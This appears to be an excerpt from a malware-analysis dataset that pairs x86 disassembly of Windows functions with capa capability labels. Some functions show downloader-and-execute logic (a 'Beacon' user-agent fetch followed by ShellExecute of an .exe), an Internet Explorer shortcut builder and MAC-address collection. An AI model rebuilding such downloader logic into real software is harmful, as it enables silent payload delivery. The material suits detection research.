joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10017e9
Capabilities:
Create process on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x54
push edi
push 0x11
pop ecx
xor eax, eax
lea edi, [ebp - 0x54]
rep stosd dword es:[edi], eax
inc eax
mov dword [ebp - 0x28], eax
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push 0x10013c0
push eax
mov dword [ebp - 0x54], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop edi
je 0x100183e
push esi
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop esi
leave
ret 4

Function at 0x1001958
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
cmp edi, ebx
mov dword [ebp - 4], ebx
je 0x10019de
push edi
call dword [sym.imp.msvcrt.dll_wcslen]
cmp eax, 3
pop ecx
jbe 0x10019de
push ebx
push 0x80
push 4
push ebx
push 1
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [0x1004014], eax
je 0x10019eb
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
push ebx
push ebx
push eax
call esi
push ebx
lea eax, [ebp - 8]
push eax
push 2
lea eax, [ebp + 8]
push eax
push dword [0x1004014]
mov byte [ebp + 8], 0xff
mov byte [ebp + 9], 0xfe
mov byte [ebp + 0xa], bl
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 2
push ebx
push ebx
push dword [0x1004014]
call esi
mov eax, dword [0x1004014]
pop esi
jmp 0x10019e6
or eax, 0xffffffff
mov dword [0x1004014], eax
cmp eax, 0xffffffff
jne 0x10019fb
cmp edi, ebx
je 0x10019f6
mov dword [ebp - 4], 0x7b
cmp eax, 0xffffffff
je 0x1001a02
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [0x1004014], 0xffffffff
mov eax, dword [ebp - 4]
pop edi
pop ebx
leave
ret 4

Function at 0x1001a17
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x100401c]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, 0x10013d0
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 4], eax
mov eax, dword [0x100402c]
movsw word es:[edi], word [esi]
xor edi, edi
cmp eax, edi
je 0x1001acb
mov esi, dword [sym.imp.msvcrt.dll_wcslen]
push eax
call esi
cmp eax, 3
pop ecx
jbe 0x1001acb
push edi
push 0x80
push 4
push edi
push 1
push 0x40000000
push dword [0x100402c]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [0x1004014], eax
je 0x1001acb
push 2
push edi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
call esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
pop ecx
push edi
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 0x10], eax
add eax, eax
push eax
push ebx
push dword [0x1004014]
call esi
push edi
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
push dword [0x1004014]
call esi
push dword [0x1004014]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [0x1004014], 0xffffffff
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.01003260
leave
ret 4
Function at 0x1003378
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x28
push 0x1001760
call fcn.01003530
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp word [eax], 0x5a4d
jne 0x10033b3
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10033b3
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x10033cb
cmp eax, 0x20b
je 0x10033b8
mov dword [ebp - 0x1c], edi
jmp 0x10033df
cmp dword [ecx + 0x84], 0xe
jbe 0x10033b3
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x10033d9
cmp dword [ecx + 0x74], 0xe
jbe 0x10033b3
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], edi
push 1
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x1004040], 0xffffffff
or dword [0x1004044], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x100403c]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x1004038]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x1004048], eax
call fcn.01003526
cmp dword [0x1004020], edi
jne 0x100343a
push fcn.01003526
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.0100350f
push 0x1004010
push 0x100400c
call sub.msvcrt.dll__initterm
mov eax, dword [0x1004034]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [0x1004030]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.msvcrt.dll___wgetmainargs]
mov dword [ebp - 0x34], eax
push 0x1004008
push section..data
call sub.msvcrt.dll__initterm
mov eax, dword [ebp - 0x20]
mov ecx, dword [sym.imp.msvcrt.dll___winitenv]
mov dword [ecx], eax
push dword [ebp - 0x20]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
call fcn.01002353
add esp, 0x30
mov esi, eax
mov dword [ebp - 0x38], esi
cmp dword [ebp - 0x1c], edi
jne 0x10034b1
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x10034e6
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.0100356b
ret
Function at 0x413fa0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
xor eax, eax
mov edx, eax
and edx, 1
dec edx
not edx
and edx, 0xedb88320
mov ecx, eax
shr ecx, 1
xor edx, ecx
mov ecx, edx
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr edx, 1
xor ecx, edx
mov edx, ecx
and edx, 1
dec edx
shr ecx, 1
not edx
and edx, 0xedb88320
xor edx, ecx
mov ecx, edx
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr edx, 1
xor ecx, edx
mov edx, ecx
and edx, 1
dec edx
shr ecx, 1
not edx
and edx, 0xedb88320
xor edx, ecx
mov ecx, edx
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr edx, 1
xor ecx, edx
mov edx, ecx
and edx, 1
dec edx
shr ecx, 1
not edx
and edx, 0xedb88320
xor edx, ecx
mov ecx, edx
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr edx, 1
xor ecx, edx
mov dword [eax*4 + 0x452980], ecx
inc eax
cmp eax, 0x100
jb 0x413fa2
cmp eax, 0x800
jae 0x414073
mov edi, edi
mov edx, dword [eax*4 + 0x452580]
movzx ecx, dl
shr edx, 8
xor edx, dword [ecx*4 + 0x452980]
inc eax
mov dword [eax*4 + 0x45297c], edx
cmp eax, 0x800
jb 0x414050
mov dword [0x450f88], 0x4140a0
call fcn.00417af0
mov ecx, dword [0x450f88]
mov edx, 0x414140
test eax, eax
cmove ecx, edx
mov dword [0x450f88], ecx
ret

Function at 0x414d40
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0x10]
mov esi, dword [edi]
test esi, esi
jne 0x414d54
pop edi
xor eax, eax
pop esi
pop ebp
ret
push ebx
mov ebx, dword [ebp + 0xc]
mov dword [edi], 0
mov ecx, 0x400000
push 0
lea eax, [ebp + 0x10]
push eax
mov eax, esi
cmp esi, 0x400000
cmova eax, ecx
push eax
mov eax, dword [ebp + 8]
push ebx
push dword [eax]
mov dword [ebp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp + 0x10]
add dword [edi], ecx
add ebx, ecx
sub esi, ecx
test eax, eax
je 0x414da9
test ecx, ecx
je 0x414da2
mov ecx, 0x400000
test esi, esi
jne 0x414d63
pop ebx
pop edi
xor eax, eax
pop esi
pop ebp
ret
pop ebx
pop edi
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_GetLastError]

Function at 0x414e50
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0x10]
mov esi, dword [edi]
test esi, esi
jne 0x414e64
pop edi
xor eax, eax
pop esi
pop ebp
ret
push ebx
mov ebx, dword [ebp + 0xc]
mov dword [edi], 0
mov ecx, 0x400000
push 0
lea eax, [ebp + 0x10]
push eax
mov eax, esi
cmp esi, 0x400000
cmova eax, ecx
push eax
mov eax, dword [ebp + 8]
push ebx
push dword [eax]
mov dword [ebp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp + 0x10]
add dword [edi], ecx
add ebx, ecx
sub esi, ecx
test eax, eax
je 0x414eb9
test ecx, ecx
je 0x414eb2
mov ecx, 0x400000
test esi, esi
jne 0x414e73
pop ebx
pop edi
xor eax, eax
pop esi
pop ebp
ret
pop ebx
pop edi
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_GetLastError]
Function at 0x417950
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0xc]
mov eax, dword [eax]
sub esp, 0x10
and eax, 7
push ebx
xor ebx, ebx
cmp ecx, 5
jae 0x417970
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
add dword [ebp + 0x10], 5
push esi
mov esi, dword [ebp + 8]
push edi
lea edx, [ecx - 4]
or edi, 0xffffffff
add edx, esi
mov dword [ebp + 0xc], edx
add esi, ebx
mov dword [ebp - 4], esi
cmp esi, edx
jae 0x4179a2
lea ecx, [ecx]
mov cl, byte [esi]
and cl, 0xfe
cmp cl, 0xe8
je 0x41799f
inc esi
cmp esi, edx
jb 0x417990
mov dword [ebp - 4], esi
mov ebx, esi
sub ebx, dword [ebp + 8]
mov ecx, ebx
sub ecx, edi
cmp esi, edx
jae 0x417ac7
cmp ecx, 3
jbe 0x4179bc
xor eax, eax
jmp 0x4179fa
dec ecx
shl eax, cl
and eax, 7
je 0x4179fa
movzx ecx, byte [eax + 0x442534]
mov edx, esi
sub edx, ecx
cmp byte [eax + 0x44252c], 0
mov cl, byte [edx + 4]
je 0x4179e4
test cl, cl
je 0x4179e4
cmp cl, 0xff
jne 0x4179f7
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
and eax, 3
add eax, eax
mov edi, ebx
or eax, 1
inc ebx
jmp 0x417984
mov edx, dword [ebp + 0xc]
mov cl, byte [esi + 4]
mov edi, ebx
mov dword [ebp - 0x10], edi
test cl, cl
je 0x417a1c
cmp cl, 0xff
je 0x417a1c
mov esi, dword [ebp + 8]
and eax, 3
add eax, eax
or eax, 1
inc ebx
jmp 0x417984
movzx edi, cl
movzx ecx, byte [esi + 3]
shl edi, 8
or edi, ecx
movzx ecx, byte [esi + 2]
shl edi, 8
or edi, ecx
movzx ecx, byte [esi + 1]
mov esi, dword [ebp + 0x10]
shl edi, 8
or edi, ecx
lea ecx, [ecx]
cmp dword [ebp + 0x18], 0
je 0x417a4d
lea edx, [edi + ebx]
add edx, esi
jmp 0x417a53
mov edx, edi
sub edx, ebx
sub edx, esi
test eax, eax
je 0x417a91
movzx edi, byte [eax + 0x442534]
shl edi, 3
mov ecx, 0x18
sub ecx, edi
mov dword [ebp - 0xc], edi
mov edi, edx
shr edi, cl
mov ecx, edi
mov dword [ebp - 8], edi
test cl, cl
je 0x417a7d
cmp cl, 0xff
jne 0x417a91
mov ecx, 0x20
sub ecx, dword [ebp - 0xc]
mov edi, 1
shl edi, cl
dec edi
xor edi, edx
jmp 0x417a40
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 0x10]
mov ecx, edx
shr ecx, 0x18
and cl, 1
dec cl
not cl
mov byte [esi + 4], cl
mov ecx, edx
shr ecx, 0x10
mov byte [esi + 3], cl
mov ecx, edx
shr ecx, 8
mov byte [esi + 1], dl
mov edx, dword [ebp + 0xc]
mov byte [esi + 2], cl
mov esi, dword [ebp + 8]
add ebx, 5
jmp 0x417984
pop edi
pop esi
cmp ecx, 3
jbe 0x417adc
mov ecx, dword [ebp + 0x14]
xor eax, eax
mov dword [ecx], eax
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
dec ecx
shl eax, cl
mov ecx, dword [ebp + 0x14]
and eax, 7
mov dword [ecx], eax
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x419c00
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push 0
push 0
push 0
push 0
push str.Beacon
call dword [sym.imp.WININET.dll_InternetOpenW]
mov ebx, eax
test ebx, ebx
jne 0x419c25
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push 0
push connect
push 0
push 0
push dword [ebp + 8]
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
test esi, esi
jne 0x419c50
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x419c48
push edi
push 0x100
call fcn.00421e59
push dword [ebp + 8]
mov edi, eax
call fcn.00419d30
add esp, 8
lea eax, [ebp - 4]
push eax
push 0x100
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x419cd4
test eax, eax
je 0x419cd4
push 0
lea eax, [ebp - 4]
push eax
push ecx
push edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x419cfe
lea eax, [ebp - 4]
push eax
push 0x100
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [ebp - 4]
test ecx, ecx
jne 0x419ca3
push edi
call fcn.00425b0a
add esp, 4
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.00425b0a
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x419d30
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
push esi
push 0
push 0
push 0
push 0
push 0x442574
call dword [sym.imp.WININET.dll_InternetOpenW]
mov esi, eax
test esi, esi
jne 0x419d50
pop esi
pop ebp
ret
push ebx
push 0
push connect
push 0
push 0
push dword [ebp + 8]
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov ebx, eax
test ebx, ebx
jne 0x419d79
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop ebx
xor eax, eax
pop esi
pop ebp
ret
push edi
push 0
push 2
push 0
push 0
push ebx
call dword [sym.imp.WININET.dll_InternetSetFilePointer]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, eax
call esi
push ebx
call esi
mov eax, edi
pop edi
pop ebx
pop esi
pop ebp
ret
Function at 0x419da0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43ff10
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x44f598]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ecx + 0x24], 8
lea esi, [ecx + 0x10]
jb 0x419dd8
mov eax, dword [esi]
jmp 0x419dda
mov eax, esi
cmp dword [ecx + 0x3c], 8
lea edi, [ecx + 0x28]
jb 0x419de7
mov ecx, dword [edi]
jmp 0x419de9
mov ecx, edi
push 0
push eax
push ecx
call fcn.00419c00
add esp, 0xc
test eax, eax
setne bl
push 8
xor eax, eax
push str.downing
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0x30], 0
mov word [ebp - 0x40], ax
call fcn.00412fe0
cmp dword [edi + 0x14], 8
mov dword [ebp - 4], 0
jb 0x419e2c
mov edi, dword [edi]
cmp word [edi], 0
jne 0x419e36
xor ecx, ecx
jmp 0x419e4f
mov ecx, edi
lea edx, [ecx + 2]
jmp 0x419e40
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x419e40
sub ecx, edx
sar ecx, 1
push ecx
push edi
lea ecx, [ebp - 0x40]
call fcn.00412d90
push 2
xor eax, eax
push 0x4425ac
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
call fcn.00412fe0
cmp dword [esi + 0x14], 8
mov byte [ebp - 4], 1
jb 0x419e8a
mov edx, dword [esi]
jmp 0x419e8c
mov edx, esi
cmp word [edx], 0
jne 0x419e96
xor ecx, ecx
jmp 0x419eaf
mov ecx, edx
lea edi, [ecx + 2]
jmp 0x419ea0
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x419ea0
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.00412d90
test bl, bl
je 0x419eee
push 4
push 0
push str..exe
mov ecx, esi
call fcn.004131b0
cmp eax, 0xffffffff
je 0x419eee
cmp dword [esi + 0x14], 8
jb 0x419eda
mov esi, dword [esi]
push 0
push 0
push 0
push esi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp dword [ebp - 0x14], 8
jb 0x419eff
push dword [ebp - 0x28]
call fcn.00425b0a
add esp, 4
xor eax, eax
cmp dword [ebp - 0x2c], 8
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
jb 0x419f24
push dword [ebp - 0x40]
call fcn.00425b0a
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00426314
mov esp, ebp
pop ebp
ret

Function at 0x419f50
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push esi
push 0
push 0
mov esi, ecx
push 0x12
push dword [esi + 8]
call dword [sym.imp.USER32.dll_PostThreadMessageW]
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x419f80
push 0
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [esi + 4]
test eax, eax
je 0x419f99
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x419f99
mov dword [esi + 4], 0
pop esi
pop ebp
ret 4
Function at 0x41a130
Capabilities:
Hash data with md5

Disassembly:
push esi
push 0x40
lea esi, [ecx + 0x5c]
push 0
push esi
mov dword [ecx + 0x18], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 4], 0x67452301
mov dword [ecx + 8], 0xefcdab89
mov dword [ecx + 0xc], 0x98badcfe
mov dword [ecx + 0x10], 0x10325476
call fcn.0041a910
mov byte [esi], 0x80
pop esi
ret

Function at 0x41a990
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x41a9a4
pop ebp
ret 4
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
pop ebp
ret 4
Function at 0x41c150
Capabilities:
Create shortcut via ishelllink
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x44f598]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0xc]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x210]
push eax
push 0x443054
push 1
push 0
push 0x443074
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x214], 0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x41c245
mov eax, dword [ebp - 0x210]
push edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x210]
push str._ProgramFiles_Internet_Explorer
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
test esi, esi
jne 0x41c20f
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00426dc0
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0x103
push eax
push str._ProgramFiles_Internet_Exploreriexplore.exe
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push esi
lea edx, [ebp - 0x20c]
push edx
jmp 0x41c212
push 0
push esi
mov eax, dword [ebp - 0x210]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x210]
lea edx, [ebp - 0x214]
mov ecx, dword [eax]
push edx
push 0x443064
push eax
call dword [ecx]
test eax, eax
jns 0x41c25e
mov eax, dword [ebp - 0x210]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00426314
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x214]
push 2
mov ecx, dword [eax]
push ebx
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x214]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x210]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.00426314
mov esp, ebp
pop ebp
ret
Function at 0x41c310
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4400c0
mov eax, dword fs:[0]
push eax
sub esp, 0x30
push ebx
push esi
push edi
mov eax, dword [0x44f598]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor esi, esi
xor edi, edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x1c], 0x442880
lea ecx, [ebp + 8]
mov byte [ebp - 4], 1
xor ebx, ebx
call fcn.00421c00
test eax, eax
jle 0x41c36c
lea ecx, [ebp + 8]
call fcn.00421c00
mov ebx, eax
lea ecx, [ebp + 8]
call fcn.00421c00
inc eax
je 0x41c390
mov ecx, 4
cmp eax, ecx
cmovb eax, ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0041f990
mov edi, dword [ebp - 0x14]
mov esi, dword [ebp - 0x18]
lea ecx, [ebp + 8]
call fcn.00421c00
lea eax, [eax*2 + 2]
push eax
lea ecx, [ebp + 8]
call fcn.00421930
push eax
push edi
call fcn.00425cd0
add esp, 0xc
lea ecx, [ebp + 8]
call fcn.00421c00
inc eax
mov dword [ebp - 0x10], eax
lea ecx, [eax + 1]
cmp esi, ecx
jae 0x41c3f9
sub ecx, esi
cmp esi, 0x40
jbe 0x41c3d3
mov eax, esi
shr eax, 2
jmp 0x41c3e2
mov eax, 8
cmp eax, esi
sbb eax, eax
and eax, 0xc
add eax, 4
cmp eax, ecx
cmova ecx, eax
lea eax, [esi + ecx]
push eax
lea ecx, [ebp - 0x1c]
call fcn.0041f990
mov edi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov word [edi + eax*2], cx
cmp ebx, 0x104
jl 0x41c40b
xor esi, esi
jmp 0x41c454
xorps xmm0, xmm0
movq qword [ebp - 0x2c], xmm0
mov eax, 0x414
mov word [ebp - 0x2c], ax
lea eax, [ebp - 0x3c]
movq qword [ebp - 0x3c], xmm0
movq qword [ebp - 0x34], xmm0
mov dword [ebp - 0x24], ecx
mov word [ebp - 0x20], cx
push eax
mov dword [ebp - 0x26], ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x22], ecx
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x38], 3
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
mov esi, eax
neg esi
sbb esi, esi
inc esi
push edi
call fcn.00427035
add esp, 4
lea ecx, [ebp + 8]
mov dword [ebp - 4], 0xffffffff
call fcn.004218d0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41c9d0
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44014b
mov eax, dword fs:[0]
push eax
mov eax, 0x2920
call fcn.004279f0
mov eax, dword [0x44f598]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov dword [ebp - 0x28fc], 7
mov dword [ebp - 0x2900], 0
mov word [ebp - 0x2910], ax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x292c]
push eax
lea eax, [ebp - 0x28f8]
push eax
mov dword [ebp - 0x292c], 0x2880
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
je 0x41ca92
push 6
push str.000000
lea ecx, [ebp - 0x2910]
call fcn.00412fe0
cmp dword [ebp - 0x28fc], 8
mov eax, dword [ebp - 0x2910]
lea esi, [ebp - 0x2910]
cmovae esi, eax
jb 0x41ca75
push eax
call fcn.00425b0a
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00426314
mov esp, ebp
pop ebp
ret
movzx eax, byte [ebp - 0x275f]
push eax
movzx eax, byte [ebp - 0x2760]
push eax
movzx eax, byte [ebp - 0x2761]
push eax
movzx eax, byte [ebp - 0x2762]
push eax
movzx eax, byte [ebp - 0x2763]
push eax
movzx eax, byte [ebp - 0x2764]
push eax
lea eax, [ebp - 0x44]
push str._02x_02x_02x_02x_02x_02x
push eax
lea esi, [ebp - 0x28f8]
call fcn.0042794d
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x2928]
push eax
call fcn.0041d030
mov edi, eax
lea eax, [ebp - 0x2910]
add esp, 0x28
cmp eax, edi
je 0x41cb31
cmp dword [ebp - 0x28fc], 8
jb 0x41cb0c
push dword [ebp - 0x2910]
call fcn.00425b0a
add esp, 4
xor eax, eax
push edi
lea ecx, [ebp - 0x2910]
mov dword [ebp - 0x28fc], 7
mov dword [ebp - 0x2900], eax
mov word [ebp - 0x2910], ax
call fcn.004126e0
cmp dword [ebp - 0x2914], 8
jb 0x41cb50
push dword [ebp - 0x2928]
call fcn.00425b0a
add esp, 4
jmp 0x41cb50
push 6
push str.000000
push dword [ebp - 0x2900]
lea ecx, [ebp - 0x2910]
push 0
call fcn.00420880
test eax, eax
jne 0x41ca54
mov esi, dword [esi]
test esi, esi
je 0x41ca54
movzx eax, byte [esi + 0x199]
push eax
movzx eax, byte [esi + 0x198]
push eax
movzx eax, byte [esi + 0x197]
push eax
movzx eax, byte [esi + 0x196]
push eax
movzx eax, byte [esi + 0x195]
push eax
movzx eax, byte [esi + 0x194]
push eax
lea eax, [ebp - 0x78]
push str._02x_02x_02x_02x_02x_02x
push eax
call fcn.0042794d
lea eax, [ebp - 0x78]
jmp 0x41cad9